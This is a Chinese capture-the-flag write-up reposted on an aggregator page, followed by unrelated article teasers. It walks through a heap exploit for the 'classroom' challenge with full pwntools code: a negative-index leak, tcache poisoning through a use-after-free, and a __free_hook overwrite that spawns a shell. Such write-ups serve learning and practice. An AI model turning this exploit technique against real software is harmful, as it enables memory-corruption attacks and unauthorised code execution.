堆技巧 数组反向越界泄露地址

news/2024/5/17 14:48:39/文章来源:https://blog.csdn.net/tbsqigongzi/article/details/126657002

四川省2021信息安全技术大赛 classroom

痛苦痛苦痛苦,调了半天才找到数组起始地址,还是自己太菜了,好好记录一下这题
在这里插入图片描述
在这里插入图片描述
题目给了libc,2.31的题
嗯,可以考虑覆盖got表或者hook函数
打开ida发现是c++的题,认真分析一下

free函数

在这里插入图片描述

存在UAF

add函数与show函数

在这里插入图片描述
index是int型数据,有符号整型,可以为负数,程序会在申请完chunk后将chunk内容输出出来,如果我们输入index处本来有内容,那么他会不让我们输入内容,直接将chunk的内容输出来,这里我们就想到利用数组越界来泄露某些地址了。
add函数只允许申请0x20大小的chunk,且输入的chunk内容最多为8字节

add函数
show函数,chunk内容位于第二个参数,rsi传参

思路

1.利用gdb调试找到chunk数组起始地址,输入负数泄露栈地址
2.利用UAF获得libc地址
3.利用UAF覆盖__free_hook为system函数
4.释放内容为/bin/sh的chunk获得shell

过程

先把前面的写好

# coding=utf-8
from pwn import *
context.log_level='debug'
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims		    :p.recvuntil(delims)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
#p=remote('',)
p=process('./classroom')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def dbg(cmd=''):gdb.attach(p,cmd)def add(idx, content = 'a\n'):sla('>', str(1))sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)def free(idx):sla('>', str(2))sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))def edit(idx, content):sla('>', str(3))sla('Would you tell me THIS STUDENT\'S ID?\n>', str(idx))sla('Would you tell me THIS STUDENT\'S NAME?\n>', content)

在这里插入图片描述
show函数在0x1957处,在下断点调试

# coding=utf-8
from pwn import *
context.log_level='debug'
def dbg(cmd=''):gdb.attach(p,cmd)
p=process('./classroom')
dbg('b * $rebase(0x1957)')
p.interactive()

我们申请三个chunk,内容依次为eee,qwe,zxczx,依次为chunk0,1,2,每当执行到show函数的时候,我们发现chunk0,1,2依次存在返回地址的下面,说明数组起始地址(也就是a1的地址就是返回地址的下一位(0x7ffe916dca58)),那么我们可以输入 -4来获取0x7ffe916dcac0这个地址

sla('>', str(1))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0xfffffffc)) #-4  4294967292 ru('Welcome my student :')stack = u64(r(6).ljust(8, '\x00')) 
lg('stack',stack)libc_ret = stack+0x8
lg('libc_ret',libc_ret)
#libc_retdbg('b * $rebase(0x1957)')

在这里插入图片描述

泄露的栈地址0x7ffe916dcac0+0x8就是存放__libc_start_main+243的地址,我们可以利用uaf修改chunk的fd指针使chunk申请到__libc_start_main+243处,获得libc,由于我们不能破坏栈结构,我们可以找个没有有用数据的地址stack-0x70处,然后将存放__libc_start_main+243的地址放到stack-0x70处,之后show函数输出__libc_start_main+243地址,获得libc基地址。

add(0)
add(1)
add(2)
add(5)
add(6)
add(7, '/bin/sh') #存放/bin/sh,一会将free_hook改为system时使用
free(0)             
free(1)
dbg()

在这里插入图片描述

edit(1, p64(stack-0x70))    #修改tcache bin chunk1指向stack-0x70处
dbg()

在这里插入图片描述

add(3)
dbg()

在这里插入图片描述
再次申请chunk,会把chunk申请到stack-0x70处,将存放__libc_start_main+243的地址写入

add(4, p64(libc_ret)) #将chunk申请到stack-0x70处sla('>', str(1))
sla('Would you tell me THIS STUDENT\'S ID?\n>', str(0)) 
p.recvuntil('Welcome my student :')
libc.address = u64(r(6).ljust(8, '\0'))-libc.sym['__libc_start_main']-243
lg('libc.address ',libc.address )
dbg()

在这里插入图片描述
之后利用相同的方法将free_hook改为system函数

free(5)free(6)edit(6, p64(libc.sym['__free_hook']))add(8)add(9, p64(libc.sym['system']))free(7)itr()

获得shell

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_4877.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

目前期货开户手续费比较透明

一、期货公司手续费 只要交易买卖期货就会产生期货手续费,不同的期货交易所,商品期货手续费收取标准不一样,首先,我们需要弄清楚期货手续费的组成和分类: 期货实际收取的手续费期货交易所手续费期货公司额外加收的佣…

flask-sqlalchemy连接数据库

1、安装flask_sqlalchemy和pymysql包 pip install flask-sqlalchemy pip install pymysql 2、进行配置 使用Flask-SQLAlchemy扩展操作数据库,首先需要通过URL建立数据库连接,必须保存到Flask配置对象的SQLALCHEMY_DATABASE_URI中。 HOSTNAME 127.0…

MySQL入门:数据库是什么 | SQL是什么 | MySQL是什么

文章目录数据库数据库管理系统(DBMS)的种类数据库的结构什么是SQLMySQLSQL语句 | 种类SQL 的基本书写规则存储引擎参考与总结全文约 3235 字,预计阅读时长: 9分钟数据库 存储数据用文件就可以了,为什么还要弄个数据库?…

dubbo和springCloud

Dubbo 高性能的java RPC框架 架构 init:初始化 async:异步 sync同步 0:需要容器启动例如Tomcat 1:注册ip端口以及一些东西到注册中心 2:订阅服务快速入门 Zookeeper(官方推荐注册中心,同时还有Redis,Simper,Multicast,Nacos等) 安装:默认端口2181 Dubbo快速入门 传统方法,需要…

C/C++后端开发学习路线总结(附带实习学习经历分享)

大家好哇,九月份了;不知道大家的工作或者实习都安排的怎么样了?反正狮作为一个过来人只能在各种论坛上面看到都是哀鸿遍野;暗自惊心感慨现在年轻人不好混啊~ 然后呢,狮最近后台收到不少C/C后端怎么学的邀请回答&#…

广西大学口袋开发板之抢答器

任务要求: 四名选手各有一个抢答按键,按键的编号以及指示灯(手柄板上的LED模块)的编号与选手的编号相对应,抢答器具有编号的识别和数据的锁存、显示以及提示音功能。 评分细则: 裁判按下开始键后&#x…

2022年0902Maven的继承和利用Idea创建Maven工程的内容<第五课>

目录 第一部分 Maven的继承 1 概念 2 作用 3 它的背景是: 4 它背后的需求是: 在每一个 module 中各自维护各自的依赖信息很容易发生出入,不易统一管理。 使用同一个框架内的不同 jar 包,它们应该是同一个版本,所…

电脑无线5g网卡发现不了网件R7000的Wifi 5g网络

原因是因为 网件R7000的5g网络默认是100的频道, 把频道固定的153然后把路由器离拖线板和其他设备远一点

第十章Redis_主从复制

10.Redis_主从复制 文章目录10.Redis_主从复制10.1主从复制是什么?10.2主从复制能干嘛10.3怎么玩:主从复制10.3.1在根目录下创建myredis文件夹10.3.2复制/etc/redis.conf文件到myredis下,文件名和之前保持一致10.3.3配置一主两从,创建三个配…

687 最长同值路径——Leetcode 天天刷(2022.9.2)【DFS】

687 最长同值路径——Leetcode 天天刷(2022.9.2)【DFS】 文章目录687 最长同值路径——Leetcode 天天刷(2022.9.2)【DFS】前言题目描述示例提示信息本地调试运行输入格式输出格式输入样例输出样例层次遍历构造二叉树解法——DFS细…

新店速递丨白玉兰(商务)酒店赣榆吾悦广场店 正式上线

第242家 白玉兰酒店再下连云港 2022年9月,锦江酒店(中国区)旗下优选服务酒店品牌“白玉兰酒店”连云港再添一员,迎来门店——白玉兰(商务)酒店赣榆吾悦广场酒店正式上线。这也是全国第242家开业的白玉兰酒…

Git做版本管理及CHANGELOG

规范化的提交信息除了能很好描述项目的修改,还有一个很好的作用就是能根据提交记录来生成CHANGELOG.MD和自动生成版本号等功能。 standard-version 一个用于生成CHANGELOG.md和进行SemVer(语义化版本号)发版的命令行工具 主要功能: 自动修改最新版本…

6-2 多项式求值——15分

本题要求实现一个函数,计算阶数为n,系数为a[0] … a[n]的多项式(上图) 在x点的值。 函数接口定义: double f( int n, double a[], double x );其中n是多项式的阶数,a[]中存储系数,x是给定点。函数须返回多项式f(x)的值。 裁判测试程序样例: #include <stdio.h>#def…

Docker - 容器的网络模式

目录 一、bridge模式 查看容器的有哪几种网络类型 二、host模式 三、none模式 四、container模式 五、overlay模式 创建一个桥接类型的网卡 使用刚才创建的网卡来创建容器 查看刚才使用网卡创建的容器的ip地址 我们指定网卡创建的容器IP地址是 &#xff1a;172.18.0.…

计算机网络——网络协议

目录 网络协议 网络协议的三要素 协议的分层模型 计算机网络层次结构的好处 计算机网络的体系结构 OSI与TCP/IP的体系结构的比较 网络协议 1、计算机网络中的数据交换必须遵守事先约定好的规则。 2、这些规则明确规定了所交换的数据的格式和时序&#xff0c;以及在发送或…

SpringBoot 整合 RabbitMQ 实现消息回调、手动确认 (二) 有图 有源码

创建时间 2022年8月29日 标签&#xff1a;Java、SpringBoot、RabbitMQ、队列 注释&#xff1a;新建SpringBoot项目实操RabbitMQ实现消息回调、手动确认 来源&#xff1a;CSDN博主&#xff1a;小目标青年 文章目录SpringBoot 整合 RabbitMQ 回调确认模式生产者推送消息回调1、消…

3天精通Postman---动态参数amp;断言amp;CSV数据驱动amp;Mock Server

DAY2课题&#xff1a;Postman接口关联&动态参数&断言&CSV数据驱动目录 一、接口关联&#xff0c;接口依赖&#xff0c;多接口串联&#xff0c;组合API 二、Postman的动态参数&#xff08;随机数&#xff09; 三、Postman的环境变量和全局变量 四、Postman断言 五、…

极端气候肆虐催化,碳中和带出了一个“再生时代”

江南一带的高温结束了&#xff0c;今年这场轰轰烈烈的高温&#xff0c;也画上了最后的句号。各地骤降的温度让人仿佛忘却了“热到爆表”的经历&#xff0c;但过去已经成为历史&#xff0c;历史充满痕迹。 格陵兰岛冰盖加速融化、欧洲莱茵河部分河段干涸、长江流域汛期反枯、重…

Cyclopropene-PEG-MAL Maleimide|环丙烯-聚乙二醇-马来酰亚胺

描述&#xff1a;环丙烯有机化合物。环丙烯是由三个碳原子构成的环烯烃&#xff0c;分子式为C3H4 &#xff0c;由于具有张力&#xff0c;环丙烯具有一些和其他环烯烃不同的性质。 理化性质 环丙烯在常温常压下为无色气体&#xff0c;沸点-36.15 &#xff0c;折射率1.489 。 环…

Git的安装与使用

1、Git的下载 2、git的安装 点击安装软件&#xff0c;一路安装到底&#xff0c;无需做任何选择 ...... 此处省略中间安装步骤 ...... 3、检验是否安装成功 在桌面右键&#xff0c;如果出现此图&#xff0c;表示安装成功 4、配置git 为了方便git客户端操作远程仓储方便&#…